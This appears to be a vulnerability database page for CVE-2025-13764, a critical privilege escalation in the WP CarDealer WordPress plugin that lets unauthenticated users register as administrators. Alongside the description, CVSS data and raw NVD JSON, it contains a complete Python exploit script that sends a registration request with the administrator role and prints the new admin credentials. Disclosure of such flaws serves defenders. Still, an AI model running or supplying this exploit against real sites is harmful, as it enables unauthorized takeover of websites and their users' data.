Security Vulnerability Report
中文
CVE-2025-13764 CVSS 9.8 CRITICAL

CVE-2025-13764

Published: 2025-12-11 03:15:58
Last Modified: 2026-04-15 00:35:42

Description

The WP CarDealer plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 1.2.16. This is due to the 'WP_CarDealer_User::process_register' function not restricting what user roles a user can register with. This makes it possible for unauthenticated attackers to supply the 'administrator' role during registration and gain administrator access to the site.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

WP CarDealer Plugin <= 1.2.16 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-13764 PoC - WP CarDealer Privilege Escalation # Affected: WP CarDealer Plugin <= 1.2.16 def exploit(target_url, username, email, password): """ Exploit privilege escalation vulnerability in WP CarDealer plugin. Allows unauthenticated users to register as administrator. Args: target_url: Target WordPress site URL username: Username for the new admin account email: Email address for the new admin account password: Password for the new admin account Returns: bool: True if exploitation successful, False otherwise """ # WordPress registration endpoint register_url = f"{target_url}/wp-admin/admin-ajax.php" # Payload with administrator role data = { 'action': 'cardealer_register_user', 'username': username, 'email': email, 'password': password, 'role': 'administrator' # Malicious role assignment } try: print(f"[*] Exploiting CVE-2025-13764 on {target_url}") print(f"[*] Attempting to create admin user: {username}") response = requests.post(register_url, data=data, timeout=30) if response.status_code == 200: result = response.json() if response.headers.get('content-type', '').find('json') > -1 else {} if result.get('success') or 'user_id' in str(response.text): print(f"[+] SUCCESS: Administrator account created!") print(f"[+] Username: {username}") print(f"[+] Password: {password}") print(f"[+] Login URL: {target_url}/wp-admin/") return True else: print(f"[-] Registration failed or plugin not vulnerable") return False else: print(f"[-] HTTP Error: {response.status_code}") return False except requests.RequestException as e: print(f"[-] Request failed: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 5: print("Usage: python cve-2025-13764.py <target_url> <username> <email> <password>") print("Example: python cve-2025-13764.py http://target.com hacker [email protected] Password123!") sys.exit(1) target = sys.argv[1].rstrip('/') exploit(target, sys.argv[2], sys.argv[3], sys.argv[4])

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13764", "sourceIdentifier": "[email protected]", "published": "2025-12-11T03:15:57.967", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP CarDealer plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 1.2.16. This is due to the 'WP_CarDealer_User::process_register' function not restricting what user roles a user can register with. This makes it possible for unauthenticated attackers to supply the 'administrator' role during registration and gain administrator access to the site."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-269"}]}], "references": [{"url": "https://themeforest.net/item/boxcar-automotive-car-dealer-wordpress-theme/49741717", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f4893d9c-e039-43df-80b9-dbe42374caed?source=cve", "source": "[email protected]"}]}}